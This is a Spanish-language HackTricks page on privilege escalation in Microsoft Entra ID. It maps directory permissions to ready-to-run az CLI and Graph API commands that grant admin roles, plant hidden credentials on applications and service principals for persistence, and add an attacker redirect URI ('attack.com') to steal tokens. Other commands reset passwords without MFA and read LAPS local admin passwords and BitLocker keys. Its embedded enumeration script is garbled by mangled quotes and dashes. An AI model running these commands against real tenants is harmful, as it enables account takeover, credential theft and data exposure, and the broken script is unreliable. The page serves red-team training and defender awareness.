Az - EntraID Privesc

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Note

Ten en cuenta que no todos los permisos granulares que tienen los roles integrados en Entra ID son elegibles para usarse en roles personalizados.

Roles

Role: Privileged Role Administrator

Este role contiene los permisos granulares necesarios para poder asignar roles a principals y dar más permisos a roles. Ambas acciones podrían abusarse para escalar privilegios.

  • Assign role to a user:
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
  • Agregar más permisos a un role:
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'

Applications

microsoft.directory/applications/credentials/update

Esto permite a un atacante agregar credenciales (passwords o certificates) a applications existentes. Si la application tiene privileged permissions, el atacante puede autenticarse como esa application y obtener esos privileges.

# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert

microsoft.directory/applications.myOrganization/credentials/update

Esto permite las mismas acciones que applications/credentials/update, pero limitado a aplicaciones de un solo directorio.

az ad app credential reset --id <appId> --append

microsoft.directory/applications/owners/update

Al agregarse a sí mismos como owner, un atacante puede manipular la application, incluyendo credentials y permissions.

az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append

# You can check the owners with
az ad app owner list --id <appId>

microsoft.directory/applications/allProperties/update

Un atacante puede agregar un redirect URI a aplicaciones que están siendo usadas por usuarios del tenant y luego compartir con ellos login URLs que usan el nuevo redirect URL para robar sus tokens. Ten en cuenta que si el usuario ya estaba logged in en la application, la authentication va a ser automática sin que el usuario necesite aceptar nada.

Ten en cuenta que también es posible cambiar los permissions que la application solicita para obtener más permissions, pero en este caso el usuario tendrá que aceptar de nuevo el prompt que pide todos los permissions.

# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"

Escalada de Privilegios de Applications

Como se explica en this post era muy común encontrar applications predeterminadas que tienen API permissions de tipo Application asignados. Un API Permission (como se llama en la consola de Entra ID) de tipo Application significa que la application puede acceder a la API y realizar acciones sin un user context (sin que un user inicie sesión en la app), y sin necesitar roles de Entra ID para permitirlo. Por lo tanto, es muy común encontrar applications con altos privilegios en cada tenant de Entra ID.

Entonces, si un attacker tiene cualquier permission/role que permita actualizar las credentials (secret o certificate) de la application, el attacker puede generar una nueva credential y luego usarla para authenticate como la application, obteniendo todos los permissions que tiene la application.

Ten en cuenta que el blog mencionado comparte algunas API permissions de common Microsoft default applications; sin embargo, algún tiempo después de este report Microsoft corrigió este issue y ahora ya no es posible login como Microsoft applications. No obstante, todavía es posible encontrar custom applications con altos privilegios que podrían ser abused.

Cómo enumerar las API permissions de una application:

# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]

## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv

## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
Encuentra todos los permisos API de las aplicaciones y marca las APIs propiedad de Microsoft ```bash #!/usr/bin/env bash set -euo pipefail

Known Microsoft first-party owner organization IDs.

MICROSOFT_OWNER_ORG_IDS=( “f8cdef31-a31e-4b4a-93e4-5f571e91255a” “72f988bf-86f1-41af-91ab-2d7cd011db47” )

is_microsoft_owner() { local owner=“$1” local id for id in “${MICROSOFT_OWNER_ORG_IDS[@]}”; do if [ “$owner” = “$id” ]; then return 0 fi done return 1 }

get_permission_value() { local resource_app_id=“$1” local perm_type=“$2” local perm_id=“$3” local key value key=“${resource_app_id}|${perm_type}|${perm_id}”

value=“$(awk -F ‘\t’ -v k=”$key“ ‘$1==k {print $2; exit}’ “$tmp_perm_cache”)“ if [ -n “$value” ]; then printf ‘%s\n’ “$value” return 0 fi

if [ “$perm_type” = “Scope” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “oauth2PermissionScopes[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ elif [ “$perm_type” = “Role” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “appRoles[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ else value=“” fi

[ -n “$value” ] || value=“UNKNOWN” printf ‘%s\t%s\n’ “$key” “$value” >> “$tmp_perm_cache” printf ‘%s\n’ “$value” }

command -v az >/dev/null 2>&1 || { echo “az CLI not found” >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo “jq not found” >&2; exit 1; } az account show >/dev/null

apps_json=“$(az ad app list –all –query ‘[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]’ -o json)”

tmp_map=“$(mktemp)” tmp_ids=“$(mktemp)” tmp_perm_cache=“$(mktemp)” trap ‘rm -f “$tmp_map” “$tmp_ids” “$tmp_perm_cache”’ EXIT

Build unique resourceAppId values used by applications.

jq -r ‘.[][2][]?.resourceAppId’ <<<“$apps_json” | sort -u > “$tmp_ids”

Resolve resourceAppId -> owner organization + API display name.

while IFS= read -r rid; do [ -n “$rid” ] || continue sp_json=“$(az ad sp show –id “$rid” –query ‘{owner:appOwnerOrganizationId,name:displayName}’ -o json 2>/dev/null || true)“ owner=“$(jq -r ‘.owner // “UNKNOWN”’ <<<“$sp_json”)“ name=“$(jq -r ‘.name // “UNKNOWN”’ <<<“$sp_json”)“ printf ‘%s\t%s\t%s\n’ “$rid” “$owner” “$name” >> “$tmp_map” done < “$tmp_ids”

echo -e “appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions”

Print all app API permissions and mark if the target API is Microsoft-owned.

while IFS= read -r row; do app_name=“$(jq -r ‘.[0]’ <<<”$row“)“ app_id=“$(jq -r ‘.[1]’ <<<”$row“)“

while IFS= read -r rra; do resource_app_id=“$(jq -r ‘.resourceAppId’ <<<”$rra“)“ map_line=“$(awk -F ‘\t’ -v id=”$resource_app_id“ ‘$1==id {print; exit}’ “$tmp_map”)“ owner_org=“$(awk -F’\t’ ‘{print $2}’ <<<”$map_line“)“ resource_name=“$(awk -F’\t’ ‘{print $3}’ <<<”$map_line“)“

[ -n “$owner_org” ] || owner_org=“UNKNOWN” [ -n “$resource_name” ] || resource_name=“UNKNOWN”

if is_microsoft_owner “$owner_org”; then is_ms=“true” else is_ms=“false” fi

permissions_csv=“” while IFS= read -r access; do perm_type=“$(jq -r ‘.type’ <<<”$access“)“ perm_id=“$(jq -r ‘.id’ <<<”$access“)“ perm_value=“$(get_permission_value “$resource_app_id” “$perm_type” “$perm_id”)“ perm_label=“${perm_type}:${perm_value}” if [ -z “$permissions_csv” ]; then permissions_csv=“$perm_label” else permissions_csv=“${permissions_csv},${perm_label}” fi done < <(jq -c ‘.resourceAccess[]’ <<<“$rra”)

echo -e “${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}” done < <(jq -c ‘.[2][]’ <<<“$row”) done < <(jq -c ‘.[]’ <<<“$apps_json”)

</details>

## Service Principals

### `microsoft.directory/servicePrincipals/credentials/update`

Esto permite a un atacante agregar credentials a service principals existentes. Si el service principal tiene privilegios elevados, el atacante puede asumir esos privilegios.
```bash
az ad sp credential reset --id <sp-id> --append

Caution

La nueva contraseña generada no aparecerá en la consola web, así que esto podría ser una forma sigilosa de mantener persistencia sobre un service principal.
Desde la API se pueden encontrar con: az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json

Si obtienes el error "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid." es porque no es posible modificar la propiedad passwordCredentials del SP y primero necesitas desbloquearla. Para ello necesitas un permiso (microsoft.directory/applications/allProperties/update) que te permita ejecutar:

az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'

microsoft.directory/servicePrincipals/synchronizationCredentials/manage

Esto permite a un atacante añadir credenciales a service principals existentes. Si el service principal tiene privilegios elevados, el atacante puede asumir esos privilegios.

az ad sp credential reset --id <sp-id> --append

microsoft.directory/servicePrincipals/owners/update

Al igual que con applications, este permiso permite agregar más owners a un service principal. Ser owner de un service principal permite controlar sus credentials y permissions.

# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"

az ad sp credential reset --id <sp-id> --append

# You can check the owners with
az ad sp owner list --id <spId>

Caution

Después de agregar un nuevo owner, intenté eliminarlo, pero la API respondió que el método DELETE no era compatible, aunque es el método que necesitas usar para eliminar el owner. Así que no puedes eliminar owners actualmente.

microsoft.directory/servicePrincipals/disable and enable

Estos permissions permiten deshabilitar y habilitar service principals. Un attacker podría usar este permission para habilitar un service principal al que pudiera acceder de alguna manera para escalar privileges.

Ten en cuenta que para esta technique el attacker necesitará más permissions para poder tomar control del service principal habilitado.

# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false

# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true

microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials

Estos permisos permiten crear y obtener credenciales para single sign-on, lo que podría permitir acceso a aplicaciones de terceros.

# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"


# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"

Groups

microsoft.directory/groups/allProperties/update

Este permiso permite agregar usuarios a grupos privilegiados, lo que lleva a una escalada de privilegios.

az ad group member add --group <GroupName> --member-id <UserId>

Nota: Este permiso excluye grupos asignables a roles de Entra ID.

microsoft.directory/groups/owners/update

Este permiso permite convertirse en owner de grupos. Un owner de un grupo puede controlar la membresía y la configuración del grupo, potencialmente escalando privilegios al grupo.

az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>

Nota: Este permiso excluye los grupos asignables a roles de Entra ID.

microsoft.directory/groups/members/update

Este permiso permite agregar miembros a un grupo. Un atacante podría agregarse a sí mismo o a cuentas maliciosas a grupos privilegiados, lo que puede otorgar acceso elevado.

az ad group member add --group <GroupName> --member-id <UserId>

microsoft.directory/groups/dynamicMembershipRule/update

Este permiso permite actualizar la regla de membresía en un grupo dinámico. Un atacante podría modificar las reglas dinámicas para incluirse a sí mismo en grupos privilegiados sin una adición explícita.

groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'

Nota: Este permiso excluye Entra ID role-assignable groups.

Dynamic Groups Privesc

Podría ser posible que los usuarios escalen privilegios modificando sus propias propiedades para ser añadidos como miembros de dynamic groups. Para más información, revisa:

Az - Dynamic Groups Privesc

Users

microsoft.directory/users/password/update

Este permiso permite reset password a usuarios no admin, permitiendo a un posible atacante escalar privilegios a otros usuarios. Este permiso no puede ser asignado a custom roles.

# Update user password
userId="<user-id>"
az ad user update --id $userId --password "kweoifuh.234"

# Update user password without needing to change or use MFA on next sign-in
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$userId" \
--headers "Content-Type=application/json" \
--body "{
\"passwordProfile\": {
\"forceChangePasswordNextSignInWithMfa\": false,
\"forceChangePasswordNextSignIn\": false,
\"password\": \"kweoifuh.234\"
}
}"

microsoft.directory/users/basic/update

Este privilegio permite modificar las propiedades del user. Es común encontrar dynamic groups que añaden users según los valores de las propiedades, por lo tanto, este permiso podría permitir a un user establecer el valor de la propiedad necesaria para ser miembro de un specific dynamic group y escalar privilegios.

#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'

#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"

Políticas de Conditional Access y bypass de MFA

Las políticas de conditional access mal configuradas que requieren MFA podrían ser bypassed, revisa:

Az - Conditional Access Policies & MFA Bypass

Devices

microsoft.directory/devices/registeredOwners/update

Este permiso permite a attackers asignarse a sí mismos como owners de dispositivos para ganar control o acceso a configuraciones y datos específicos del device.

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/devices/registeredUsers/update

Este permiso permite a los atacantes asociar su cuenta con dispositivos para obtener acceso o eludir políticas de seguridad.

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/deviceLocalCredentials/password/read

Este permiso permite a los attackers leer las propiedades de las credenciales de la cuenta de administrador local respaldada para dispositivos unidos a Microsoft Entra, incluyendo la password

# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"

# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \

BitlockerKeys

microsoft.directory/bitlockerKeys/key/read

Este permiso permite acceder a las claves de BitLocker, lo que podría permitir a un atacante descifrar unidades, comprometiendo la confidencialidad de los datos.

# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"

# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"

Otros permisos interesantes (TODO)

  • microsoft.directory/applications/permissions/update
  • microsoft.directory/servicePrincipals/permissions/update
  • microsoft.directory/applications.myOrganization/allProperties/update
  • microsoft.directory/applications/allProperties/update
  • microsoft.directory/servicePrincipals/appRoleAssignedTo/update
  • microsoft.directory/applications/appRoles/update
  • microsoft.directory/applications.myOrganization/permissions/update

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks